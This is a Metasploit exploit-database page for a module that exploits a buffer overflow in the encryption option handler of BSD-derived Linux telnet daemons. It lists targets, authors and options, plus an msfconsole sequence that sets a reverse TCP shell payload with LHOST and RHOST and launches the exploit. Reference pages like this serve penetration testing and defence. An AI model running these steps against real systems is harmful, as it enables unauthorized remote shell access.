Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow | Metasploit Exploit Database (DB)

Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow

This module exploits a buffer overflow in the encryption option handler of the Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions use NetKit-derived telnet daemons, so this flaw only applies to a small subset of Linux systems running telnetd.

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Exploit Rank

  • Great

Exploit Authors

  • Jaime Penalba Estebanez < jpenalbae [at] gmail.com >
  • Brandon Perry < bperry.volatile [at] gmail.com >
  • Dan Rosenberg < >
  • hdm < hdm [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - Red Hat Enterprise Linux 3 (krb5-telnet)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/linux/telnet/telnet_encrypt_keyid
msf exploit(telnet_encrypt_keyid) > show payloads
msf exploit(telnet_encrypt_keyid) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(telnet_encrypt_keyid) > set LHOST [MY IP ADDRESS]
msf exploit(telnet_encrypt_keyid) > set RHOST [TARGET IP]
msf exploit(telnet_encrypt_keyid) > exploit


Exploit Module Options

PASSWORD The password for the specified username
RHOST The target address
RPORT The target port (default: 23)
USERNAME The username to authenticate as
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
TelnetBannerTimeout The number of seconds to wait for the initial banner
TelnetTimeout The number of seconds to wait for a reply from a Telnet command
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)